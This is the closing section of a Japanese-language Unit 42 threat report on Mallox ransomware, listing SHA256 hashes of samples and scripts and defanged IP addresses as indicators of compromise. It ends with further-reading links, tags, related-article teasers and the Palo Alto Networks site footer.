* de9d3e17555e91072919dc700dc7e588cd52617debcad2f764ef9c7fbf6c9f7b
* 2a549489e2455a2d84295604e29c727dd20d65f5a874209840ce187c35d9a439
* 1c8b6d5b79d7d909b7ee22cccf8f71c1bd8182eedfb9960c94776620e4543d13
* 36269d1892283991a9db23492cd8efcd68af74060384b9686219a97f76a9989e
* 10eea0c13fd1a782c065627e23e7051edc1622f2eae5fbe138725369c12f4b6d
* Df30d74ab6600c1532a14c53a7f08f1afd41ec63cf427a4b91b99c3c2524caba
* 0463277782f9e98b0e7a028cea0f689a81cf080fa0d64d4de8ef4803bb1bf03a
* 1f793f973fd906f9736aa483c613b82d5d2d7b0e270c5c903704f9665d9e1185
* e284ad63a832123240bd40b6c09565fae8525c00ddf308d5b8f5c8ce69ed6b09
* e3a0bbd623db2b865fc3520c8d05e8b92016af2e535f0808460295cb8435836a
* 7c84eafb3b05f0d5316fae610d9404c54ef39383d0fe0e3c07407a26bb9f6750
* 1276786fc51f3b7e987aa95ebff0a3e1e358ee4e86e2302e472f84710271af7b
* f730e83049c7fe81f6e4765ab91efbb7a373751d51fdafe697a4977dc7c1ea11
* 05194b34f8ff89facdd7b56d05826b08edaec9c6e444bdc32913e02cab01afd4
* c599bebc9ae54a54710008042361293d71475e5fbe8f0cbaceb6ee4565a72015
* 060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
* 90be90ad4fb906574f9e7afe587f0826a71152bfc32cfc665a58877562f2edd4
* 1b2727af9fc187cd5c932c6defe50b983ad7508b4196ad6c5ff5e96686277c56
* a9543bc9612276863fc77b663fa3ff6efb85db69a01baa86c6dfabf73684b5c1
* 4e00f3e0e09d13e76da56009173098eefafc4ad50806583d5333990fa44e6420
* 6c109d098a1f44017f3937a71628d9dbd4d2ca8aa266656ee4720c37cc31558e
* 7f8f1afa1390246409263e606aa05e2896b8d1da7018c534e67ca530a59ebda1
* 8e54c38bc3585c3163c3e25d037bcf55695c274aaea770f2f59f0a0910a4b572
* 724aa6dae72829e9812b753d188190e16fb64ac6cd39520897d917cfdccc5122
* 7164ba41639c8edcd9ff1cf41a806c9a23de566b56a7f34a0205ba1f84575a48
* 0e1c7ea4148e7473e15a8e55413d6972eec6e24ef365e9f629884f89645de71a
* 4ed74a205fad15c843174d7d8b30ae60a181e79f31cc30ebc683072f187e4cdd
* ee6fd436bf5aff181e3d4b9a944bf644076e902a1bbf622978b5e005522c1f77
* ebdcf54719cceddffc3c254b0bfb1a2b2c8a136fa207293dbba8110f066d9c51
* 9a3050007e1c46e226e7c2c27d4703f63962803863290449193a0d0ca9661b3b
* d6c51935d0597b44f45f1b36d65d3b01b6401593f95cb4c2786034072ad89b63
* 586d4f86615cb3a8709ae1c08dde35087580814c1d1315af3d7b932639ff48e0
* 8e974a3be94b7748f7971f278160a74d738d5cab2c3088b1492cfbbd05e83e22
* 3fa36079fdc548db1b5122450c2e4c9e40c37059de116d1c03f6459b13fc2dc4
* D15f12a7cf2e8ec3d6fceabfab64956c7e727caab91cff9c664f92b5c8552570
* 0427a9f68d2385f7d5ba9e9c8e5c7f1b6e829868ef0a8bc89b2f6dae2f2020c4
* 4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2
* 10f96f64659415e46c3f2f823bdb855aab42d0bfced811c9a3b72aea5f22d880
* 5ccff9af23c18998221f45396732539d18e330454327d1e7450095c682d8c552
* 77fdce66e7f909300e4493cbe7055254f7992ba65f9b7445a6755d0dbd9f80a5
* ee08e3366c04574f25909494ef276e65e98d54f226c0f8e51922247ca3cfade9
* 2fd3c8fab2cfaaabf53d6c50e515dd5d1ef6eceeebdd5509c23030c4d54cb014
* 603846d113ef1f588d9a3a695917191791fbad441f742bcfe797813f9fc5291e
* a5085e571857ec54cf9625050dfc29a195dad4d52bea9b69d3f22e33ed636525
* 9b833d5b4bdbc516e4773c489ced531b13028094ce610e96ebc30d3335458a97
* b9e895830878124e20293f477549329d4d8752ff118f4fe893d81b3a30852c0b
* cd80506f971b95b3b831cef91bb2ec422b1a27301f26d5deac8e19f163f0839a
* c0e35b19f97021416e3724006511afc95d6aa409404e812d8c62b955bc917d3c
* 342930d44aed72f826a3f0f4a3964158f2bd86fb53703fb3daa6c937b28a53e4
* 9ee35c6eb97230cd9b61ba32dba7befea4122f89b3747d2389970050a1d019f9
* e7e00e0f817fcb305f82aec2e60045fcdb1b334b2621c09133b6b81284002009
* e3f63ab8ef91e0c52384c0e3e350db2427c8cb9237355800a3443b341cf8cf4f
* f7e8a0eac54dd040e2609546fca263f2c2753802ff57e7c62d5e9ccfa04bdb1a
* e7178a4bad4407316b85894307df32fdf85b597455364eb8ec4d407749e852ce

### PowerShell スクリプト Updt.ps1 および Upddt.ps1 の SHA256 ハッシュ

* dcc9e23fd6ac926eb9ee7e0ee422dacd2059b4a42c8642d32bdf4f5c8eb33f6a
* fead3d518752ddb4d2407f16ca5f3c9b3c0bf01972a2618369d02913f7c6af1a
* 0901a9920c9f0c74fb2170524477693d62c8493715520ae95143abd8055e7a39
* ba97fd533e8a552664695434227b24ca1e2e661c360a7a0a40ff59ba6b8fe949
* 53da732df7599f5ad21a26b669500788a827f3a8358dcdca10997d2b8187c95c
* 189c9c4603defb14fa8c942f5ff7814804654269917640478686530f91c4b66c
* fd0030883b9e74b383ee6381a2aaa7e2e5b93a00003b555e2f7c8b7be65ab176
* d22b3218c4b7f13fe114854d1dbda02c3ad94a1b6c69daa1cf6a504ada8b8bca
* b6447b0636085fcb41fd574e84500958f21dfe87fe06b0813fb9399d63f28851
* 5c34f6fa6eada3197404bf95eced9d288688537598629158a4f4e18d6882cb9b
* d81b0425d4ec49bad194b8dc750524c2a29994fe972e733376349f47961cfa62

### System.bat

* 1e2515efb64200258752d785863fd35df6039441a80cb615dfff4fbdffb484ec
* 777a5782426e5b42e0e5e8445dd9602d123e8acc27aca4daa8e9c053f3d5b899
* 9e3684be0b4c2dc93f962c03275e050fed57d9be6411396f51bdf8d4bb5e21c0
* cb47327c7cce30cff8962c48fa3b51e57e331e1592ea78b21589164c5396ccd9

### Mallox ランサムウェアのアクティビティに関連する IP アドレス

* 103\.96.72\[.\]140
* 80\.66.75\[.\]36
* 80\.66.75\[.\]37
* 80\.66.75\[.\]126
* 80\.66.75\[.\]116
* 92\.118.148\[.\]227
* 62\.122.184\[.\]113
* 87\.251.64\[.\]245
* 119\.3.125\[.\]197
* 49\.235.255\[.\]219
* 80\.66.75\[.\]55
* 87\.251.67\[.\]92
* 121\.4.69\[.\]26
* 124\.223.11\[.\]169
* 45\.93.201\[.\]74
* 80\.66.75\[.\]135
* 194\.26.135\[.\]44
* 80\.66.75\[.\]51
* 89\.117.55\[.\]149
* 5\.181.86\[.\]241
* 185\.170.144\[.\]153

## 追加リソース

* [Ransomware Spotlight: TargetCompany](https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-targetcompany) -- Trend Micro
* [Xollam, the Latest Face of TargetCompany](https://www.trendmicro.com/en_us/research/23/f/xollam-the-latest-face-of-targetcompany.html) -- Trend Micro
* [Mallox Ransomware](https://labs.k7computing.com/index.php/mallox-ransomware/) -- K7 Security Labs, Blog
* [FARGO Ransomware (Mallox) Being Distributed to Unsecured MS-SQL Servers](https://asec.ahnlab.com/en/39152/) -- ASEC Blog, AhnLab
* [Interview With Mallox Ransomware Group](https://www.suspectfile.com/interview-with-mallox-ransomware-group/) -- SuspectFile
  トップに戻る

### タグ

* [Double extortion](https://unit42.paloaltonetworks.com/ja/tag/double-extortion-ja/ "double extortion")
* [Gurgling Scorpius](https://unit42.paloaltonetworks.com/ja/tag/gurgling-scorpius-ja/ "Gurgling Scorpius")
* [Mallox ransomware](https://unit42.paloaltonetworks.com/ja/tag/mallox-ransomware-ja/ "Mallox ransomware")
* [OWASSRF](https://unit42.paloaltonetworks.com/ja/tag/owassrf-ja/ "OWASSRF")
* [ProxyLogon](https://unit42.paloaltonetworks.com/ja/tag/proxylogon-ja/ "ProxyLogon")
* [ProxyShell](https://unit42.paloaltonetworks.com/ja/tag/proxyshell-ja/ "ProxyShell")  
  [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") [次ページ:Rust で書かれた自己複製型ピアツーピア ワーム P2PInfect](https://unit42.paloaltonetworks.com/ja/peer-to-peer-worm-p2pinfect/ "Rust で書かれた自己複製型ピアツーピア ワーム P2PInfect")

### 目次

* 

### 関連記事

* [脅威に関する情報: OWASSRF脆弱性のエクスプロイト](https://unit42.paloaltonetworks.com/ja/threat-brief-owassrf/ "article - table of contents")
* [攻撃者は注目のゼロデイをすばやく利用: 2022 Unit 42 インシデント対応レポートからの知見](https://unit42.paloaltonetworks.com/ja/incident-response-report/ "article - table of contents")

## 関連項目 ランサムウェア リソース

![Pictorial representation of Iran cyber attacks. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/12_Security-Technology_Category_1920x900-786x368.jpg)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年4月17日 [#### 脅威情報: 2026年イランに関するサイバー リスクの激化(4月17日更新)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2026/)

* [APK](https://unit42.paloaltonetworks.com/ja/tag/apk-ja/ "APK")

* [DDoS attacks](https://unit42.paloaltonetworks.com/ja/tag/ddos-attacks-ja/ "DDoS attacks")

* [GenAI](https://unit42.paloaltonetworks.com/ja/tag/genai-ja/ "GenAI")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2026/ "脅威情報: 2026年イランに関するサイバー リスクの激化(4月17日更新)")  
  ![Pictorial representation of RaaS RansomHouse. Digital representation of cybersecurity concept with a padlock superimposed over computer circuit boards, symbolizing data protection and encryption technologies.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/12/06_Ransomware_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/threat-actor-groups.svg)脅威アクター グループ](https://unit42.paloaltonetworks.com/ja/category/threat-actor-groups-ja/) 2025年12月17日 [#### 直線的なものからの複雑化:RansomHouse暗号化のアップグレード](https://unit42.paloaltonetworks.com/ja/ransomhouse-encryption-upgrade/)

* [ESXi](https://unit42.paloaltonetworks.com/ja/tag/esxi-ja/ "ESXi")

* [Jolly Scorpius](https://unit42.paloaltonetworks.com/ja/tag/jolly-scorpius-ja/ "Jolly Scorpius")

* [RansomHouse](https://unit42.paloaltonetworks.com/ja/tag/ransomhouse-ja/ "RansomHouse")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/ransomhouse-encryption-upgrade/ "直線的なものからの複雑化:RansomHouse暗号化のアップグレード")  
  ![Pictorial representation of 01flip ransomware written in Rust. Digital artwork of a pixelated U.S. dollar bill disintegrating into small blocks against a blue data matrix background.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/12/05_Ransomware_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2025年12月10日 [#### 01flip:Rustで書かれたマルチプラットフォーム ランサムウェア](https://unit42.paloaltonetworks.com/ja/new-ransomware-01flip-written-in-rust/)

* [Bitcoin](https://unit42.paloaltonetworks.com/ja/tag/bitcoin-ja/ "Bitcoin")

* [CL-CRI-103](https://unit42.paloaltonetworks.com/ja/tag/cl-cri-103-ja/ "CL-CRI-103")

* [Cryptocurrency](https://unit42.paloaltonetworks.com/ja/tag/cryptocurrency-ja/ "Cryptocurrency")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/new-ransomware-01flip-written-in-rust/ "01flip:Rustで書かれたマルチプラットフォーム ランサムウェア")  
  ![Pictorial representation of malicious LLMs. Close-up view of a digital wall displaying various glowing icons, representing a high-tech network interface.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/11/AdobeStock_1270203474-786x440.jpeg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2025年11月25日 [#### AIのデュアルユースのジレンマ：悪意あるLLM](https://unit42.paloaltonetworks.com/ja/dilemma-of-ai-malicious-llm/)

* [Credential Harvesting](https://unit42.paloaltonetworks.com/ja/tag/credential-harvesting-ja/ "Credential Harvesting")

* [Data exfiltration](https://unit42.paloaltonetworks.com/ja/tag/data-exfiltration-ja/ "data exfiltration")

* [LLM](https://unit42.paloaltonetworks.com/ja/tag/llm-ja/ "LLM")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/dilemma-of-ai-malicious-llm/ "AIのデュアルユースのジレンマ：悪意あるLLM")  
  ![Pictorial representation of Unit 42 threat attribution system. Illustration featuring a white triangle centered within an abstract cosmic background of purple and blue swirls and stars.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/Generic-A-1920x900-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/threat-actor-groups.svg)脅威アクター グループ](https://unit42.paloaltonetworks.com/ja/category/threat-actor-groups-ja/) 2025年7月31日 [#### Unit 42のアトリビューション フレームワークの紹介](https://unit42.paloaltonetworks.com/ja/unit-42-attribution-framework/)

* [Advanced Persistent Threat](https://unit42.paloaltonetworks.com/ja/tag/advanced-persistent-threat-ja/ "Advanced Persistent Threat")

* [Bookworm](https://unit42.paloaltonetworks.com/ja/tag/bookworm-ja/ "Bookworm")

* [Nomenclature](https://unit42.paloaltonetworks.com/ja/tag/nomenclature-ja/ "nomenclature")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/unit-42-attribution-framework/ "Unit 42のアトリビューション フレームワークの紹介")  
  ![Pictorial representation of the ransomware landscape. Digital artwork of a disintegrating U.S. dollar bill with pixelated effects on a cyber-inspired background.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/04/05_Ransomware_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-report-white-1.svg)トレンド レポート](https://unit42.paloaltonetworks.com/ja/category/trend-reports-ja/) 2025年5月22日 [#### 恐喝とランサムウェアの動向 2025年1月～3月](https://unit42.paloaltonetworks.com/ja/2025-ransomware-extortion-trends/)

* [AI](https://unit42.paloaltonetworks.com/ja/tag/ai-ja/ "AI")

* [Akira ransomware](https://unit42.paloaltonetworks.com/ja/tag/akira-ransomware-ja/ "Akira ransomware")

* [BianLian](https://unit42.paloaltonetworks.com/ja/tag/bianlian-ja/ "BianLian")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/2025-ransomware-extortion-trends/ "恐喝とランサムウェアの動向 2025年1月～3月")  
  ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/03_Ransomware_Category_1505x922-718x440.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2024年8月9日 [#### ランサムウェア振り返り: 2024 年上半期](https://unit42.paloaltonetworks.com/ja/unit-42-ransomware-leak-site-data-analysis/)

* [Healthcare](https://unit42.paloaltonetworks.com/ja/tag/healthcare-ja/ "Healthcare")

* [LockBit](https://unit42.paloaltonetworks.com/ja/tag/lockbit-ja/ "LockBit")

* [RansomHub](https://unit42.paloaltonetworks.com/ja/tag/ransomhub-ja/ "RansomHub")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/unit-42-ransomware-leak-site-data-analysis/ "ランサムウェア振り返り: 2024 年上半期")  
  ![Constellation image representing the constellation schema used by Palo Alto Networks Unit 42 to track nation-state and](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/Generic-B-1920x900-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/threat-actor-groups.svg)脅威アクター グループ](https://unit42.paloaltonetworks.com/ja/category/threat-actor-groups-ja/) 2024年8月4日 [#### パロアルトネットワークス Unit 42 が追跡している脅威アクター グループの一覧](https://unit42.paloaltonetworks.com/ja/threat-actor-groups-tracked-by-palo-alto-networks-unit-42/)

* [Agent Serpens](https://unit42.paloaltonetworks.com/ja/tag/agent-serpens-ja/ "Agent Serpens")

* [Agonizing Serpens](https://unit42.paloaltonetworks.com/ja/tag/agonizing-serpens-ja/ "Agonizing Serpens")

* [Alloy Taurus](https://unit42.paloaltonetworks.com/ja/tag/alloy-taurus-ja/ "Alloy Taurus")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/threat-actor-groups-tracked-by-palo-alto-networks-unit-42/ "パロアルトネットワークス Unit 42 が追跡している脅威アクター グループの一覧")  
  ![A pictorial representation of RA World ransomware group. A digital graphic of a U.S. dollar bill disintegrating into pixels, symbolizing digital transformation or the concept of cryptocurrency against a backdrop of a dark, tech-inspired visual theme.](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/05_Ransomware_Category_1505x922-718x440.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2024年7月22日 [#### RA Group から RA World へ: ランサムウェア グループの進化](https://unit42.paloaltonetworks.com/ja/ra-world-ransomware-group-updates-tool-set/)

* [Extortion](https://unit42.paloaltonetworks.com/ja/tag/extortion-ja/ "Extortion")

* [Leak site](https://unit42.paloaltonetworks.com/ja/tag/leak-site-ja/ "Leak site")

* [Babuk](https://unit42.paloaltonetworks.com/ja/tag/babuk-ja/ "babuk")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/ra-world-ransomware-group-updates-tool-set/ "RA Group から RA World へ: ランサムウェア グループの進化")  
  ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/02/02_Ransomware_Category_1505x922-718x440.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2024年2月6日 [#### 2024 年 ランサムウェア振り返り: Unit 42 によるリーク サイト分析](https://unit42.paloaltonetworks.com/ja/unit-42-ransomware-leak-site-data-analysis-all-2023/)

* [Ambitious Scorpius](https://unit42.paloaltonetworks.com/ja/tag/ambitious-scorpius-ja/ "Ambitious Scorpius")

* [Ignoble Scorpius](https://unit42.paloaltonetworks.com/ja/tag/ignoble-scorpius-ja/ "Ignoble Scorpius")

* [Leak site](https://unit42.paloaltonetworks.com/ja/tag/leak-site-ja/ "Leak site")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/unit-42-ransomware-leak-site-data-analysis-all-2023/ "2024 年 ランサムウェア振り返り: Unit 42 によるリーク サイト分析")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/04/Unit-42_get-updates-banner.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Unit 42 からの最新情報を取得

## 進化する脅威の状況を常に先取り

メール アドレス

本フォームを送信することにより、[利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)に同意し、[プライバシー ポリシー](https://www.paloaltonetworks.jp/legal-notices/privacy)を承認したことになります。

本サイトは reCAPTCHA で保護されており、Googleの[プライバシー ポリシー](https://policies.google.com/privacy) と[サービス利用規約](https://policies.google.com/terms)が適用されます。

Invalid captcha!
サブスクライブ ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} 製品とサービス

* [AI利用ネットワーク セキュリティ プラットフォーム](https://www.paloaltonetworks.jp/network-security)

* [AIのセキュア バイ デザイン](https://www.paloaltonetworks.jp/precision-ai-security/secure-ai-by-design)

* [Prisma AIRS](https://www.paloaltonetworks.jp/prisma/prisma-ai-runtime-security)

* [AI Access Security](https://www.paloaltonetworks.jp/sase/ai-access-security)

* [クラウド提供型セキュリティ サービス](https://www.paloaltonetworks.jp/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.jp/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.jp/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.jp/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.jp/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/enterprise-iot-security)

* [Medical IoT Security](https://www.paloaltonetworks.jp/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/industrial-ot-security)

* [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security)

* [次世代ファイアウォール](https://www.paloaltonetworks.jp/network-security/next-generation-firewall)

* [ハードウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/hardware-firewall-innovations)

* [ソフトウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.jp/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.jp/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.jp/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.jp/network-security/panorama)

* [セキュア アクセス サービス エッジ](https://www.paloaltonetworks.jp/sase)

* [Prisma SASE](https://www.paloaltonetworks.jp/sase)

* [App Acceleration](https://www.paloaltonetworks.jp/sase/app-acceleration)

* [自律型デジタルエクスペリエンス管理](https://www.paloaltonetworks.jp/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.jp/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.jp/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.jp/sase/sd-wan)

* [リモート ブラウザ分離](https://www.paloaltonetworks.jp/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security)

* [AI駆動型セキュリティ運用プラットフォーム](https://www.paloaltonetworks.jp/cortex)

* [Cloud Security](https://www.paloaltonetworks.jp/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.jp/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.jp/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.jp/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.jp/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.jp/prisma/cloud)

* [AI駆動型SOC](https://www.paloaltonetworks.jp/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.jp/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.jp/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.jp/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.jp/cortex/cortex-xpanse)

* [Unit 42マネージド ディテクション\&レスポンス](https://www.paloaltonetworks.jp/cortex/managed-detection-and-response)

* [マネージドXSIAM](https://www.paloaltonetworks.jp/cortex/managed-xsiam)

* [次世代のアイデンティティ セキュリティ](https://www.paloaltonetworks.jp/idira)

* [特権アクセス管理](https://www.paloaltonetworks.jp/idira/human/privileged-access-management)

* [アイデンティティ管理とアクセス管理](https://www.paloaltonetworks.jp/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.jp/idira/human/endpoint-privilege-manager)

* [アイデンティティ ガバナンス](https://www.paloaltonetworks.jp/idira/human/identity-governance)

* [従業員パスワード管理](https://www.paloaltonetworks.jp/idira/human/workforce-password-management)

* [エージェンティック アイデンティティ](https://www.paloaltonetworks.jp/idira/agentic)

* [シークレット管理](https://www.paloaltonetworks.jp/idira/machine/secrets-management)

* [統合型シークレット ガバナンス](https://www.paloaltonetworks.jp/idira/machine/unified-secrets-governance)

* [アプリケーションの認証情報配信](https://www.paloaltonetworks.jp/idira/machine/application-credentials-delivery)

* [ベンダーの特権アクセス](https://www.paloaltonetworks.jp/idira/human/vendor-privileged-access)

* [脅威インテリジェンス\&インシデント レスポンス サービス](https://www.paloaltonetworks.jp/unit42)

* [予防評価](https://www.paloaltonetworks.jp/unit42/assess)

* [インシデント レスポンス](https://www.paloaltonetworks.jp/unit42/respond)

* [セキュリティ戦略を変革](https://www.paloaltonetworks.jp/unit42/transform)

* [脅威インテリジェンスについて](https://www.paloaltonetworks.jp/unit42/threat-intelligence-partners)  
  会社名

* [パロアルトネットワークスについて](https://www.paloaltonetworks.jp/about-us)

* [採用情報](https://jobs.paloaltonetworks.com/en/)

* [お問合せ](https://www.paloaltonetworks.jp/company/contact-sales)

* [企業責任](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [お客様向け](https://www.paloaltonetworks.jp/customers)

* [IR](https://investors.paloaltonetworks.com/)

* [拠点](https://www.paloaltonetworks.com/about-us/locations)

* [ニュースルーム](https://www.paloaltonetworks.jp/company/newsroom)  
  人気のあるリンク

* [ブログ](https://www.paloaltonetworks.com/blog/?lang=ja)

* [コミュニティ](https://www.paloaltonetworks.com/communities)

* [コンテンツライブラリ](https://www.paloaltonetworks.jp/resources)

* [Cyberpedia](https://www.paloaltonetworks.jp/cyberpedia)

* [イベントセンター](https://events.paloaltonetworks.com/)

* [電子メール設定の管理](https://start.paloaltonetworks.com/preference-center)

* [製品A〜Z](https://www.paloaltonetworks.jp/products/products-a-z)

* [製品認証](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance)

* [脆弱性の報告](https://www.paloaltonetworks.com/security-disclosure)

* [サイトマップ](https://www.paloaltonetworks.jp/sitemap)

* [テクニカル ドキュメント](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.jp/)

* [個人情報の販売および共有禁止](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![Palo Alto Networks Logo](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

* [プライバシー](https://www.paloaltonetworks.jp/legal-notices/privacy)

* [トラスト センター](https://www.paloaltonetworks.jp/legal-notices/trust-center)

* [利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)

* [ドキュメント](https://www.paloaltonetworks.jp/legal-notices)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![](https://www.paloaltonetworks.jp/content/dam/pan/en_US/images/icons/podcast.svg)](https://unit42.paloaltonetworks.com/unit-42-threat-vector-podcast/)
* JP  
  Select your language  
  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

